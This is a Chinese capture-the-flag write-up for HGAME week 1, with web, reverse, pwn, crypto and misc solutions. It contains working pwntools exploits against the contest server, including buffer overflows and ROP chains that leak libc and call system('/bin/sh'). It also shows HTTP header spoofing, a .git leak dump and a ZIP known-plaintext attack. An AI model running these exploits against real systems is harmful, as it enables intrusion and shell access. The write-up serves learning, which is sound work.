Hgame-week1-writeup

hgame ctf比赛第一周的writeup

Web

Cosmos 的博客

打开后是这个样子

1

版本管理工具和GitHub都标记明显,想到应该是.git文件夹的泄露。但是直接访问http://cosmos.hgame.n3ko.co/.git/是显示404,不管了,直接上工具GitHack

运行命令:

python GitHack.py  http://cosmos.hgame.n3ko.co/.git/

然后在这个工具所在位置下的目录dist/cosmos.hgame.n3ko.co/.git/下,发现config文件有问题(找了好久才发现)

2

然后就去上图中的仓库https://github.com/FeYcYodhrPDJSru/8LTUKCL83VLhXbc找,发现其中一个commit有flag信息:

根据提示解码得到flag:hgame{g1t_le@k_1s_danger0us_!!!!}


接 头 霸 王

首先当然是打开链接啦

根据提示说要从https://vidar.club/过来这个页面,那就去google下http的头哪些可以表示从哪里跳转来的,发现一个Referer头,扔到burpsuite里试

2

看来又要从本地访问,那肯定是伪造ip成127.0.0.1了,google发现X-Forwarded-For头可以伪造请求ip,再扔burpsuite里

3

枯了,还要改浏览器标识,User-Agent头改成Cosmos即可

4

。。。还要改一下请求方式

5

最后这个,呃,要伪造发出请求时的时间成2077年之后,然后google了所有有关时间的http头,一个一个试(此处省略无数次失败),还问了下出题人,出题人的灵魂拷问

“你都试过了吗?试了哪些?”

突然发现我好像还没试完,想起之前忽略了的If-Unmodified-Since头,随后还真是!!!

6

于是得到flag:hgame{W0w!Your_heads_@re_s0_many!}


Code World

开局就是一个403 Forbidden

1

而且url本来是http://codeworld.hgame.day-day.work,却变成http://codeworld.hgame.day-day.work/new.php,那应该是跳转了

好在我有burpsuite(多次打广告行为)

2

图中的文字也印证了我的想法(cosmos被黑的好惨

那就直接访问链接http://codeworld.hgame.day-day.work,看看跳转前都有什么

3

看到这个Not Allowed我懵了好久,难道我错了?卡了半天就去做misc题了(而且还一题没做出来),一段时间后突然有想法,去搜了下405状态码是什么意思,发现

405 Method Not Allowed

请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。

原来是请求的方法不对,虽然返回包中没有Allow头告诉我用什么方法请求,但最常用的除了GET就是POST了,那就改POST请求

4

这里要提交url参数a,计算两个数相加结果为10,一个参数传两个值,一想就想到php的url传数组的方式

?a[]=1&a[]=9

发现不对,url编码后再提交,发现还是不对,又卡住了。。。

最后,有个hint说a的参数的格式是a=b+c(此时已经有好多人解出来了),最后提交

?a=1%2b9

(+号编码后为%2b)

5

遂得flag:hgame{C0d3_1s_s0_S@_sO_C0ol!}


🐔尼泰玫

这标题!这界面!

1

律师函警告?!

咳咳!

最下面那行字说,只要分够,flag尽管拿,当然是开挂啦,开着burpsuite抓包,先玩一遍(玩着玩着忘了我在做ctf题)

发现有一个请求包发送了分数

2

(不是我!别问了!我怎么可能只有500分!)

也不知道|后面那个是什么,先改了分数成999999

3

嘻嘻,成了!flag:hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}

(做完后发现flag中有提示javascript的,看了下js文件,发现score参数字符|后面那个是时间戳的md5值,没什么影响)


Reverse

maze

拖入ida,f5反汇编,简单处理一下后

1

迷宫类题目,wsad为上下左右,图中的v5代表当前位置,水平方向移动4个字节,一行有64个字节

2

可以直到unk_602080unk_60247C是地图的边界了,且1为不可走,我的做法是把数据导(至于怎么导出查资料)出来,1用字符#打印,0用空格打印,画出地图来走迷宫,做是做出来了,有点麻烦,如下图

3

其中的x是我标记的起点和终点。这样做很麻烦,我也不详细讲了,做完后学长提示,把4个字节看成一个单位会比较简单,呃,当我看到上上图中的*(_DWORD *)v5 & 1的时候,我居然没发现这个问题?!

那么就按照4字节一个单位导出后,最低位为1的画成#,其余画成空格,地图如下:

4

这样简单多了,flag:hgame{ssssddddddsssssddwwdddssssdssdd}


bitwise_operation2

首先,拖入ida,找到main函数反汇编

1

红框可以看到,再加上后面有个异或操作,而且这样的访问方式揭示了是v6,v7,…,v13是个数组,可以修改一下变量的定义:

2

3

类似的操作(其余修改变量函数名,修改类型什么的可以自己查资料学习下),分析完后如下:

4

5

加上我的注释应该很明了,倒推flag1,flag2然后倒推flag就好,exp如下:

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

byte key[] = {76, 60, -42, 54, 80, -120, 32, -52};
byte arr1[] = "e4sy_Re_";
byte arr2[] = "Easylif3";

int main(int argc, byte const *argv[])
{
    //得到第一个for循环后的flag1,flag2
    byte flag1[8], flag2[8];

    for(int i = 0; i < 8; i++)
        flag1[i] = arr1[i] ^ key[i];

    for(int i = 0; i < 8; i++)
        flag2[i] = arr2[i] ^ arr1[i] ^ key[i];
    
    //for循环前的flag1和flag2
    for(int i = 0; i < 8; ++i)
    { //再交换一次不就换回来了咯
        flag1[i] = flag1[i] & 0x55 ^ ((flag2[7 - i] & 0xAA) >> 1) | flag1[i] & 0xAA;
        flag2[7 - i] = 2 * (flag1[i] & 0x55) ^ flag2[7 - i] & 0xAA | flag2[7 - i] & 0x55;
        flag1[i] = flag1[i] & 0x55 ^ ((flag2[7 - i] & 0xAA) >> 1) | flag1[i] & 0xAA;

        //记得这个步骤
        flag1[i] = (flag1[i] << 5) | (flag1[i] >> 3);
    }

    //得到flag
    printf("hgame{");
    for (int i = 0; i < 8; ++i)
    {
        uint ch = flag1[i];
        printf("%02x", ch);
    }
    for (int i = 0; i < 8; ++i)
    {
        uint ch = flag2[i];
        printf("%02x", ch);
    }
    printf("}\n");
    return 0;
}

运行程序得flag:hgame{0f233e63637982d266cbf41ecb1b0102}


advance

常规操作,我也写了注释,改了变量名和函数名

1

下面那个strncmp的字符串一开始我数了下长度,是4的倍数,那时候开始我就猜是base64编码了,但是直接解密不太对。在encrypt函数里(这个名字当然是我自己改的)发现

2

3

查过base64的原理,知道有一个编码表的,那么这里应该是把标准的表换成这里的表来编码的,那解密的时候先把字符换回来再解密,python3的exp如下:

#!/bin/python3
import base64
import string

# 待解密脚本
str1 = "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX"

# 题目中的表
string1 = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"

# 原base64的表
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 先把编码后的字符串str1的字符一一对应回原base64表的字符再解码
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

得到flag:hgame{b45e6a_i5_50_eazy_6VVSQ}


cpp

注意:本题有大量的猜测

运行过一遍后,发现输入错误会显示error,那么拖入ida,Alt+F4搜索”error”字符串可以找到main函数。

1

首先看到的是std::cin,大胆猜测这个操作相当于std::cin >> v16,先进去sub_140002AE0函数分析了一波,没怎么看懂,而且有很多无意义的代码。然后自己写了段c++代码,大概如下

#include <iostream>
#include <string>

int main()
{
    string s;
    std::cin >> s;
    return 0;
}

编译后拖入ida反汇编,发现有和红框中相似的代码,于是大胆猜测,sub_140002AE0函数是string类的构造函数,顺便也猜测到了一个vector类,还有一些类的方法(幸好我有点c++基础),分析完后大概是这样的:

2

3

(可以发现我的注释里充满了“可能”“应该”

看到那三层循环,和我之前写过的矩阵乘法很像,再加上hint说让我翻开线代课本,贯穿线代课本的除了矩阵还是矩阵,那么可以肯定这就是个矩阵乘法。

和我添加的注释一样,rect_input * rect1 = rect2这个rect_input 是输入,格式是hgame{r11_r12_r13_r20_r21_..._r33},r11表示这是矩阵的第(1, 1)个元素

那简单了,解矩阵方程就好,找了个在线网站求rect1的逆,根据我的分析rect1[0][1]这个元素未知,盲猜0(其实也不是盲猜,因为我试了好多,发现rect1的逆都有小数,只有0的时候结果是整数)

最后解出矩阵input写成flag就行:hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}


Pwn

Hard_AAAAA

看下图

1

2

直接提供了一个后门,只要那么memcmp返回值为0即可getshell。

需要注意的是,memcmp这个函数是逐字节比较,相等才返回0,这里是比较7个字节(第三个参数),但是这个”0O0o”只看到4个字节+1个\0(结束符),还有2个字节不知道,那么双击这个字符串,可看到,剩下两个字节是O0

3

只要溢出,把v5地址处开始覆盖成0O0o + \0 + O0这7个字节即可,exp如下:

#!/bin/python2
from pwn import *

#io = process('./Hard_AAAAA')
io = remote('47.103.214.163', 20000)
payload = 'A' * 0x7b + '0O0o\x00O0'

io.recvuntil('0!\n')
io.sendline(payload)

io.interactive()

getshell之后,读取flag文件

4


Number_Killer

红框框起的部分为关键部分

1

2其实就是根据读入的字符串转换成数字填到数组里,但是数组大小只有11,循环读入数字的次数却是19,每次可以写8个字节(__int64是8个字节),足够溢出修改返回地址了。

需要注意的是溢出到循环变量i的时候,不要修改变量i的值,也就是说第12次读入数字的时候,要保持变量i的值是11,还有就是i是4字节整数,它刚刚好在数组v4之后的8个字节的高4个字节处,也就是说,我们第12次读入的数字转成8字节整数时,其高4个字节看成一个int型整数,必须是11,那么最简单就写47244640256这个数就好了(47244640256 >> 32 == 11),exp如下:

#!/bin/python2
from pwn import *
from LibcSearcher import *

def packAddr(addr):
    return str(addr) + '\n'


elf = ELF('./Number_Killer')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret_addr = 0x400803
main_addr = 0x4006f6

# 这个数写成8个字节,高处4字节当作一个整数解析刚刚好是11,即47244640256>>32 == 11
# 数组大小为11,循环变量占了8个字节整数中的高4个字节,压入的rbp占了8个字节(一个数转成8个字节),所以这里为13
payload = '47244640256\n' * 13  

payload += packAddr(pop_rdi_ret_addr) + packAddr(puts_got) + packAddr(puts_plt) 
payload += packAddr(main_addr)
payload += '0\n' * 3

#io = elf.process()
io = remote("47.103.214.163", 20001)
io.recv()
io.send(payload)

puts_addr = io.recvline()[:-1]
puts_addr = puts_addr + '\x00' * (8 - len(puts_addr))
puts_addr = u64(puts_addr)

print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')


payload = '47244640256\n' * 13 
payload += packAddr(pop_rdi_ret_addr) + packAddr(bin_sh_addr) + packAddr(system_addr) 
payload += packAddr(main_addr)
payload += '0\n' * 3

io.send(payload)


io.interactive()

flag:略(哈哈哈,自己运行脚本)


One_Shot

关键位置:

1

读入一个地址,将这个地址指向的那个字节赋值为1(一开始还以为是把name变量修改成flag,后来发现不可能)

其实问题很简单,先看下图:

2

可以发现name和flag相邻,那么我们只需读入的name刚刚好结束符\0的下一个字节开始就是flag的第一个字节,那么通过这个*v4=1把结束符\0修改成1,也就是v4的输入为0x6010E0这个数的字符串(这个地址是固定的,并没有随机),那么printf的时候就会连着把flag给输出了,exp如下:

#!/bin/python2
from pwn import *

name = '*' * 31
addr = str(0x6010DF)

#io = process('./One_Shot')
io = remote('47.103.214.163', 20002)

io.sendline(name)
io.sendline(addr)

print(io.recv())

(怪不得题目叫这个)


ROP_LEVEL0

1

其实很明了,没有canary保护,题目提示可以通过文件读写操作把flag读出来,试了下不知道为什么一直错,然后就放弃了,所以我直接构造ROP,exp如下:

#!/bin/python2
#coding=utf8
from pwn import *
from LibcSearcher import *

elf = ELF('./ROP_LEVEL0')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = 0x40065b
pop_rdi_ret = 0x400753


#io = elf.process()
io = remote('47.103.214.163', 20003)

# 泄露puts的地址从而得到libc库的版本,strat为函数的开头,跳转回这里相当于再来一次机会溢出
payload =  'a' * 0x48 + 'a' * 16  # 0x48个用于填充,8个字节是那个fd数组,8个字节是rbp
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)

io.recv()
io.sendline(payload)
puts_addr = io.recvuntil('\n')[:-1]  # 最后一个字符是\n

puts_addr = puts_addr +  '\x00' * (8-len(puts_addr))
puts_addr = u64(puts_addr)

print(hex(puts_addr))

# 计算各个重要的地址
libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')


# 得到地址后,pwn!
payload = 'a' * 0x48 + 'a' * 16
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)


io.interactive()

Crypto

InfantRSA

查一下密码学RSA的资料,知道p,q,e可以算出用来解密的d(目前只是简单了解了下),题目已经给出来了,那么exp如下:

#!/bin/python2
#coding=utf8
import gmpy2

p = 681782737450022065655472455411
q = 675274897132088253519831953441
e = 13
c = 275698465082361070145173688411496311542172902608559859019841

# 算出d
phi_n = (p-1) * (q-1)
d = int(gmpy2.invert(e, phi_n))

# 解密c
m = pow(c, d, p*q)

# m是一个数,需要转换成我们想要的字符串
flag = hex(m).strip('0x').strip('L') # python2长整数最后面会有个字符L
flag = flag.decode('hex')

print(flag)

Affine

根据题目,搜索Affine,可以查到仿射加密。

仿射加密要求这个A必须与MOD互素,其实A是MOD内的一个素数(或者1),然后这个B其实就是一个偏移(当A=1的时候,这个加密就是凯撒加密了),我们只需要枚举A和B,如果A和B仿射加密hgame后是A8I5z那么这对A和B就是正确的,exp如下:

#!/bin/python2
#coding=utf8
import gmpy2

TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)
flag = 'hgame'
encrypt_flag = 'A8I5z'
data = 'A8I5z{xr1A_J7ha_vG_TpH410}'

def encrypt(flag, A, B):
    """加密算法"""
    cipher = ''
    for b in flag:
        i = TABLE.find(b)
        if i == -1:
            cipher += b
        else:
            ii = (A*i + B) % MOD
            cipher += TABLE[ii]
    return cipher

def decrypt(data, A, B):
    """解密数据"""
    # 算出a的乘法逆元素a_,解密需要a_
    for i in range(MOD):
        if i*A % MOD == 1:
            a_ = i
            break

    # 根据a_解密
    result = ''
    for ch in data:
        i = TABLE.find(ch)
        if i == -1:
            result += ch
        else:
            ii = a_ * (i - B) % MOD
            result += TABLE[ii]
    return result


def generate_prime(max_num):
    """生成max_num以内的素数"""
    for i in range(max_num):
        if gmpy2.is_prime(i):
            yield i

# 枚举A和B
for b in range(MOD):
    for a in generate_prime(MOD):
        if encrypt(flag, a, b) == encrypt_flag:
            #print('A=%d, B=%d', a, b)
            ret = decrypt(data, a, b)
            print(ret)
            break

not_One-time

一开始查到many-time-pad,但是以现有的工具都不行,学长说不是这样搞的。。。

然后我在一个many-time-pad的攻击脚本中得到灵感,它是根据语义自己猜出明文或者密钥。

然后我想了下,哪里用自己猜,直接爆破flag不就得了。

异或运算有个特点:A xor B xor B == A,样本数据(就是加密后的数据)是这么来的:明文 xor flag == sample

而且明文规定了只有:charset = string.ascii_letters+string.digits,那么只要样本数据和爆破的flag异或,如果结果都是charset范围内的字符证明flag有可能是正确的,只要搜集够多的样本,那么可能的flag就越少。

用到的脚本如下:

收集一条数据用的脚本:

#!/bin/python2
import base64

data = raw_input()

decode_bytes = base64.b64decode(data)
print decode_bytes.encode('hex')

用法:nc 47.98.192.231 25001 | python2 get_sample.py >> samples.txt

保存数据在samples.txt文件里,运行多次上述命令,大概搜集够50条数据就够了

然后,用这些数据进行爆破的flag的验证:

#!/bin/python2
#coding=utf8
import string
from queue import Queue

charset = string.ascii_letters+string.digits # 被加密的文本的字符集

def load_sample(file_name):
    with open(file_name) as fd:
        samples = []
        for line in fd:
            line = line.strip('\n')
            samples.append(line.decode('hex'))
    return samples

def xor(a, b):
    return chr(ord(a) ^ ord(b))

def validate(samples, ch, index):
    """样本数据与flag异或来验证"""
    for s in samples:
        ret = xor(s[index], ch) 
        if ret not in charset:
            return False
    return True

flag_len = 42 # flag长度是43 最后一个是 }
q = Queue()
q.put('hgame{')
samples = load_sample('./samples.txt') # 数据存放在samples.txt文件

#print(samples)
#assert False

count = 1

# 爆破flag, 密文要足够多
while not q.empty():
    flag = q.get()
    count -= 1
    next_index = len(flag)
    for ch in string.printable:
        if validate(samples, ch, next_index):
            new_flag = flag + ch
            if len(new_flag) == flag_len:
                print new_flag + '}'
            else:
                #print('now: %s' % new_flag)
                q.put(new_flag)
                count += 1
                print('count: %d' % count) # 显示出可能的结果数,如果太多就再多收集点密文

Reorder

一开始把题目看错成Recoder,瞬间懵了,然后才发现其实就是打乱了flag的顺序。

直接上做题过程图(嘻嘻,刚好这题留了图,再也不敢不留图了T_T)

1


Misc

欢迎参加HGame!

百度发现要base64解码,解码后是摩斯电码:

.-- ...-- .-.. -.-. ----- -- . ..--.- - --- ..--.- ..--- ----- ..--- ----- ..--.- .... --. .- -- ...--

然后去找个摩斯电码在线解密的网站解密即可,要注意的是我找到的大部分网站的摩斯电码的分隔符都是/,而这里是空格,所以我还把全部空格换成了/才成功解密

壁纸

压缩包解压后是张图片,kali上用binwalk查看发现图片里隐藏了压缩包,且提示解压密码是图片ID:

1

分离出压缩包:

2

解压压缩包,密码是图片ID,这个ID是P站上的对应的这张图的ID(我一个不懂二次元的硬生生从百度识图一直挖到P站,虽然我也不怎么懂这个P站是什么东东,只是听说过),解压后获得一个flag.txt文件:

3

看样子是unicode编码,其实直接当16进制编码处理就好了,python处理一下就好:

4


克苏鲁神话

解压压缩包后,有文本文件Bacon.txt和压缩包Novel.zip,压缩包有密码。然后这个压缩包里面也有一个文本文件叫Bacon.txt,把Bacon.txt这个文本文件单独压缩,发现校验码和Novel.zip里的Bacon.txt文件的一样,那么可以确定是一样的文件,查资料发现可以使用明文攻击,可以爆破出加密密钥(不是密码)。

可以用rbkcrack工具来破解,安装我就不细说了,直接破解:

rbkcrack.exe -C Novel.zip -c Bacon.txt -p Bacon.txt -P Bacon.zip

其中-C Novel.zip是要破解的压缩包,-c Bacon.txt是Novel.zip里面的已知的那个文件的路径,-p Bacon.txt是已知的明文文件,-P Bacon.zip是已知的Bacon.txt压缩后的zip文件

1

得到密钥,flag肯定在压缩包里的那个.doc文件里啦,解密出来

rbkcrack.exe -C Novel.zip -c 'The Call of Cthulhu.doc' -k 720b7516 d2d6a716 2c24dcae  -u -d xx.doc

发现.doc文件打开需要密码,那么密码是从Bacon.txt里解到的(其实我是先解出了.doc文件的密码,才来破解压缩包的),无意间翻译了Bacon这个单词,发现有”培根“的意思,而且还查到了培根密码,然后Bacon.txt里的内容是这样的:

2

一些是大写,一些是小写,大写字母当作a,小写字母当作b,空格标点去掉,那么得到培根密码:

3

拿去找在先网站解密:

4

然后根据提示,大写的那一串就是.doc文件的密码,打开后只是一篇文章,flag隐藏在.doc文件里,打开word文档隐藏字体的显示选项即可。大概方式依次点击:文件->选项->显示->隐藏文字

5

flag在文档最底部:

6


签到题ProPlus

根据提示

1

把前三行文字,找个网站用栅栏密码解密,每组数字为3

2

然后凯撒密码解密,偏移为5

3

得到压缩包的解密密码,解压后获得一个文本文件:

4

复制了两行去搜索,发现是Brainfuck/Ook!编码,又找了个在线网站去解:

5

看来是base32编码,解码!

6

解码后,最后面有两个等号,看起来是base64编码(一开始用base32继续解码发现不行),然后去base64解码,发现大多网站不是说字符过多,就是直接解不出来,然后用python解

7

截取前50个字节看看,发现有PNG头,那么这些数据就是一个PNG图像文件的数据,那么保存到一个.png文件,打开发现是个二维码

8

扫码得flag哟!


每日推荐

一个.pcapng文件,用wireshark分析,发现有很多http的包,那就筛选http的包出来

1

逐个查看,发现有一个http的请求,上传了一个压缩包

2

导出这个压缩包,保存为song.zip:

3

压缩包是有密码保护的,用二进制编辑器打开可发现末尾有提示

4

密码是6位数字,那直接爆破好了,用什么软件就不细说了,爆破后解压到一个MP3文件(这首歌很好听!)

用Audacity软件打开查看频谱图可得flag

5


总结

第一周艰难的把题目都做了

  • web的cxk游戏很好玩!

  • re看汇编和反汇编很头疼

  • Pwn乍一眼一看,想复杂了

  • Crypto学了不少东西(虽然不怎么懂)

  • misc脑洞真大!!!

”不问出题人不知道,一问就知道自己的问题有多弱智“